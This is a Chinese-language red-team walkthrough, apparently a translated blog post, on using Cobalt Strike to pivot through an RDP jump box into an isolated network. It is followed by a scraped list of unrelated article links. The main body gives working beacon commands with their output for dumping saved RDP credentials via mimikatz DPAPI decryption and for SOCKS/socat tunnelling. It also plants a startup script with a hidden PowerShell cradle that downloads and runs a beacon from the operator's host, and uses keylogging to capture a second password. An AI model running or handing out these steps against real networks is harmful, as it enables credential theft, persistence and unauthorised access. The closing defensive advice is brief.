简介

本文我将向大家演示,如何通过RDP跳转盒进入隔离/受保护的网络。下图是我为该场景制作的拓扑图:

简要说明:

LAN是一种扁平的工作站和服务器网络。

一些服务器(包括RDP跳转盒)无法与Internet连接。

工作站可以通过代理访问Internet。

RDP跳转盒是LAN上唯一可以与“Secret Network(隔离网络)”通话的主机,仅限于3389端口。

rasta-lan.local和secret-lan.local是两种不同的网络。

LAN网段为:10.0.0.0/16;隔离网络网段为:172.16.0.0/24。

通过该方案,渗透测试人员可以在其渗透主机(Windows 10)上打开远程桌面连接,并利用RDP直接连接到隔离/受保护的目标服务器上。

场景预设

我们已有一个名为rasta_mouse的域用户组成员的beacon(信标)。通过查询目标服务器,以确定哪些用户/组已被授予了RDP访问权限。

  1. beacon> powerpick Get-NetLocalGroup -ComputerName RDP01 -GroupName "Remote Desktop Users"
  2. ComputerName : RDP01
  3. AccountName : rasta-lan.local/Jump Box Users
  4. IsDomain : True
  5. IsGroup : True
  6. SID : S-1-5-21-2294392343-2072776990-791666979-1106

谁是Jump Box(跳转盒)用户组的成员?

  1. beacon> powerpick Get-NetGroupMember -GroupName "Jump Box Users"
  2. GroupDomain : rasta-lan.local
  3. GroupName : Jump Box Users
  4. MemberDomain : rasta-lan.local
  5. MemberName : rasta_mouse_adm
  6. MemberSID : S-1-5-21-2294392343-2072776990-791666979-1107
  7. IsGroup : False
  8. MemberDN : CN=Rasta Mouse (Admin),CN=Users,DC=rasta-lan,DC=local

rasta_mouse有两个单独的帐户,这意味着我们需要获取到rasta_mouse_adm的账户凭据才能继续我们下一步的操作。这里我将探讨两种可能的方法。

凭据管理器 & DPAPI

如果用户选择了保存RDP凭据,并且你也有SeDebugPrivilege权限来执行此操作,那么这将是最有趣和有效的办法。

在凭据管理器GUI中的Windows凭据:

你也可以在命令行上获取:

  1. beacon> shell vaultcmd /listcreds:"Windows Credentials" /all
  2. Credentials in vault: Windows Credentials
  3. Credential schema: Windows Domain Password Credential
  4. Resource: Domain:target=TERMSRV/rdp01
  5. Identity: LAN\rasta_mouse_adm
  6. Hidden: No
  7. Roaming: No
  8. Property (schema element id,value): (100,2)

这些凭据存储在用户目录C:\Users\<username>\AppData\Local\Microsoft\Credentials\*中。

  1. beacon> powerpick Get-ChildItem C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\ -Force
  2. Directory: C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials
  3. Mode LastWriteTime Length Name
  4. ---- ------------- ------ ----
  5. -a-hs- 02/09/2017 13:37 412 2647629F5AA74CD934ECD2F88D64ECD0
  6. -a-hs- 30/08/2017 19:28 11204 DFBE70A7E5CC19A398EBF1B96859CE5D

现在我们来查看C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 。

  1. beacon> mimikatz dpapi::cred /in:C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0
  2. **BLOB**
  3. dwVersion : 00000001 - 1
  4. guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  5. dwMasterKeyVersion : 00000001 - 1
  6. guidMasterKey : {6515c6ef-60cd-4563-a3d5-3d70a6bc6992}
  7. dwFlags : 20000000 - 536870912 (system ; )
  8. dwDescriptionLen : 00000030 - 48
  9. szDescription : Local Credential Data
  10. algCrypt : 00006603 - 26115 (CALG_3DES)
  11. dwAlgCryptLen : 000000c0 - 192
  12. dwSaltLen : 00000010 - 16
  13. pbSalt : be072ec0f54a6ceaffd09fe2275d72f9
  14. dwHmacKeyLen : 00000000 - 0
  15. pbHmackKey :
  16. algHash : 00008004 - 32772 (CALG_SHA1)
  17. dwAlgHashLen : 000000a0 - 160
  18. dwHmac2KeyLen : 00000010 - 16
  19. pbHmack2Key : a3579f9e295013432807757d3bcdf82e
  20. dwDataLen : 000000d8 - 216
  21. pbData : 0bad8cb788a364061fa1eff57c3cbc83c8aa198c95537f66f2f973c8fe5e7210626c58423b84b55f604cff2b23165b690ad7fa7ad03d80051cb7c1a0e987f36586ede1bd7ff7e2b9f1d3cbc4b8f1b8557ab1be3402d3bfe39b1682353504ff156615b44ea83aa173c3f7830b65bf9202d823932ca69413fcb8bca1a76893c7cbab7e0ee0bbe9269a8b9f65e88e099334177be15cf977a44b77ba6e829c89303ef4764f5fd661e722c7508ad2e01a41f9cd079fc7ce5a8dba90c94a2314941674ad47567bd9c980548f809fe72ce4895b6a56cb9148c47afb
  22. dwSignLen : 00000014 - 20
  23. pbSign : 43559a2b2e9b11bc4b56828a1d2ece489c9dfd52

以上我们需要关注的是pbData和guidMasterKey的信息。pbData是我们要解密的数据,guidMasterKey是解密所需要的密钥。

这里LSASS已经在其缓存中存有这个key – 因此我们可以使用SeDebugPrivilege获取。

  1. beacon> mimikatz !sekurlsa::dpapi

在输出信息中,我们找到了我们需要的GUID和关联的MasterKey。

  1. [00000000]
  2. * GUID : {6515c6ef-60cd-4563-a3d5-3d70a6bc6992}
  3. * Time : 02/09/2017 13:37:51
  4. * MasterKey : 95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
  5. * sha1(key) : 89f35906909d78c84ba64af38a2bd0d1d96a0726

如果我们在交互模式下运行mimikatz,它会自动将这些密钥添加到我们的dpapi缓存中,并在尝试解密凭据时使用它们。但是,通过Cobalt Strike运行mimikatz不允许我们保留相同的会话(至少我不知道该如何保留)。所以,我们必须要拿到key并手动使用它。

  1. beacon> mimikatz dpapi::cred /in:C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
  2. Decrypting Credential:
  3. * masterkey : 95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
  4. **CREDENTIAL**
  5. credFlags : 00000030 - 48
  6. credSize : 000000d2 - 210
  7. credUnk0 : 00000000 - 0
  8. Type : 00000002 - 2 - domain_password
  9. Flags : 00000000 - 0
  10. LastWritten : 02/09/2017 12:37:44
  11. unkFlagsOrSize : 00000030 - 48
  12. Persist : 00000002 - 2 - local_machine
  13. AttributeCount : 00000000 - 0
  14. unk0 : 00000000 - 0
  15. unk1 : 00000000 - 0
  16. TargetName : Domain:target=TERMSRV/rdp01
  17. UnkData : (null)
  18. Comment : (null)
  19. TargetAlias : (null)
  20. UserName : LAN\rasta_mouse_adm
  21. CredentialBlob : Sup3rAw3s0m3Passw0rd! <--- BOOM!
  22. Attributes : 0

RDP01

这些凭据将用于RDP进入跳转盒 – 因为是直接从我们的渗透机器上这样做。所以,我们先在我们当前的信标上设置一个SOCKS代理。

  1. beacon> socks 1337
  2. [+] started SOCKS4a server on: 1337
  • SSH进入你的Teamserver,并安装socat和proxychains(如果还未安装)。
  • 修改proxychains.conf配置文件,以在端口1337上使用127.0.0.1。
  • 然后用proxychains运行socat – > proxychains -> proxychains socat TCP4-LISTEN:3389,fork TCP4:10.0.0.100:3389。

这将允许我们的Teamserver在3389端口监听,任何进入该该端口的流量,都将被重定向到socks代理10.0.0.100:3389上。

现在,我们已经RDP到了我们的Teamserver的IP地址,我们应该已经在jump box上了…

Persistence

为了保持对该服务器的持久访问,我们可以进行简单的设置,以便当真正的rasta_mouse_adm用户连接时, 我们可以获取到一个SMB Beacon。

操作步骤如下:

  • 创建一个无状态PowerShell SMB Beacon payload。
  • 在你的Teamserver((web delivery))上将其托管在/smb。
  • 在我们当前的beacon创建一个Reverse Port Foward -> rportfwd 8080 178.62.56.134 80。
  • 创建C:\Users\rasta_mouse_adm\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\startup.bat,并写入以下内容:
  1. powershell.exe -nop -w hidden -c "iex ((new-object net.webclient).downloadstring('http://10.0.1.200:8080/smb'))"
  • 注销RDP会话。

当真正的用户登录时,我们将会在我们屏幕上获取到以下信息:

  1. 09/02 14:19:45 visit from: 178.62.56.134
  2. Request: GET /smb
  3. page Serves /opt/cobaltstrike/uploads/beacon.ps1
  4. null

让我们连接到beacon。

  1. beacon> link 10.0.0.100
  2. [+] established link to child beacon: 10.0.0.100

注意:如果用户注销了,我们将会失去beacon;如果仅仅只是断开连接,那么我们将保持连接。

SECRET

现在我们已经在jump box上了,我们的目标是SECRET。那么,我们该如何进入SECRET呢?

你实际上我们可以通过键盘记录来获取到我们想要的信息,如下:

  1. beacon> keylogger 1816 x64
  1. Start menu
  2. =======
  3. remo
  4. Remote Desktop Connection
  5. =======
  6. 172.16.0.10
  7. Windows Security
  8. =======
  9. SECRET\rasta_mouse[tab]Passw0rd!

停止当前Beacon中的SOCKS代理,以及Teamserver上的proxychains/socat。

在jump box上启动一个新的SOCKS代理(你可以使用相同的端口)。

在你的Teamserver上运行proxychains socat TCP4-LISTEN:3389,fork TCP4:172.16.0.10:3389。

像之前一样,RDP到Teamsever IP,我们将直接进入到SECRET。

总结

不要保存RDP凭据在jump boxes上,建议使用双因素身份认证。DPAPI没有足够的保护。https://t.co/1lBySQcVYt

— Matthew Dunwoody (@matthewdunwoody) September 2, 2017

如何使用RDP跳过网络隔离?的更多相关文章

  1. 【Kubernetes】K8S 网络隔离 方案

    参考资料: K8S-网络隔离参考 OpenContrail is an open source network virtualization platform for the cloud. – Kub ...

  2. 第 8 章 容器网络 - 057 - macvlan 网络隔离和连通

    macvlan 网络隔离和连通 验证 macvlan 之间的连通性. bbox1 能 ping 通 bbox3,bbox2 能 ping 通 bbox4. 即:同一 macvlan 网络能通信. bb ...

  3. eBPF Cilium实战(1) - 基于团队的网络隔离

    在 Rainbond 集群中,每个团队对应于底层 Kubernetes 的一个 Namespace ,由于之前使用的底层网络无法进行 Namespace 级别的网络管理,所以在 Rainbond 同一 ...

  4. Windows Azure 虚拟网络中虚拟机的网络隔离选项

     最近我们发布了一份<Windows网络安全白皮书>(单击此处下载),文中深入说明了客户可以如何利用该平台的本地功能,为他们的信息资产提供最好的保护. 由首席顾问Walter Myer ...

  5. 使用openvswitch 和dnsmasq来实现虚拟机网络隔离

    openvswicth : 开源的网络虚拟化软件,可以划分vlan隔离虚拟机,做流量控制 dnsmasq:小心的dns,dhcp服务器 安装openvswicth wget  http://openv ...

  6. macvlan 网络隔离和连通 - 每天5分钟玩转 Docker 容器技术(57)

    上一节我们创建了两个 macvlan 并部署了容器,网络结构如下: 本节验证 macvlan 之间的连通性. bbox1 能 ping 通 bbox3,bbox2 能 ping 通 bbox4.即:同 ...

  7. Nexus 7 跳过网络验证

     本文从著名安卓论坛 xda-developers 搬运而来,原文链接 http://forum.xda-developers.com/showthread.php?t=1909602 由于众所周知的 ...

  8. 057、macvlan 网络隔离和连通(2019-03-26 周二)

    参考https://www.cnblogs.com/CloudMan6/p/7400580.html   在上一节中,两个host上四个容器的网络信息如下,然后进行网络连通性测试,可见通vlan的容器 ...

  9. overlay网络隔离实验失败记录

    按照 https://www.cnblogs.com/CloudMan6/p/7341487.html进行操作,实验结果与老师文章中的正好相反,不同 overlay 网络中的主机可以通信,验证部分见下 ...

随机推荐

  1. 【Java_多线程并发编程】JUC原子类——4种原子类

    根据修改的数据类型,可以将JUC包中的原子操作类可以分为4种,分别是: 1. 基本类型: AtomicInteger, AtomicLong, AtomicBoolean ;2. 数组类型: Atom ...

  2. mysql:having 用法

    顺序:where -> group by -> min -> order by -> limit 在select语句中使用having 子句来指定一组行或聚合的过滤条件 hav ...

  3. python+ selenium 实现简历自动刷新

    本文用到的文件的下载地址 百度网盘链接: https://pan.baidu.com/s/1wIda-wUz4X_Ck72xgZ6Ddg 提取码: etaa 1 安装Python 和 selenium ...

  4. Developing

    To work with the Android code, you will need to use both Git and Repo. In most situations, you can u ...

  5. 【转】使用信号监控 Django 模型对象字段值的变化

    转载出处:http://blog.csdn.net/pushiqiang/article/details/74949465 Django 信号 (Signals) 的功能类似于 WordPress 的 ...

  6. H5系列之地理位置(必知必会)

    H5之地理位置必知必会     [02]概念   规范地址:http://www.w3.org/TR/geolocation-API/     HTML5 Geolocation(地理定位)用于定位用 ...

  7. windows phone 网络开发三部曲(一)各种包的各种抓法

    首先感谢大家对我上一篇博客的支持,让我也体验了一把上榜的感觉. 这无疑是对我这个刚刚打算,认真写写博客的人的莫大的鼓励,再次感谢(鞠躬)!! 接下来想和大家分享一些关于windows phone网络开 ...

  8. IOS 自动布局-UIStackPanel和UIGridPanel(四)

    为什么说scrollview的自动化布局是难点? 对scrollview做自动化布局,无非就是想对scrollview里面的subviews来做自动化布局.但是scrollview里面的subview ...

  9. appium+python自动化-adb logcat查看日志

    前言 做app测试,遇到异常情况,查看日志是必不可少的,日志如何输出到手机sdcard和电脑的目录呢?这就需要用logcat输出日志了 以下操作是基于windows平台的操作:adb logcat | ...

  10. python类可以截获Python运算符

    类可以截获Python运算符 现在,让我们来看类和模块的第三个主要差别: 运算符重载.简而言之,运算符重载就是让用类写成的对象,可截获并响应用在内置类型上的运算:加法.切片.打印和点号运算等.这只是自 ...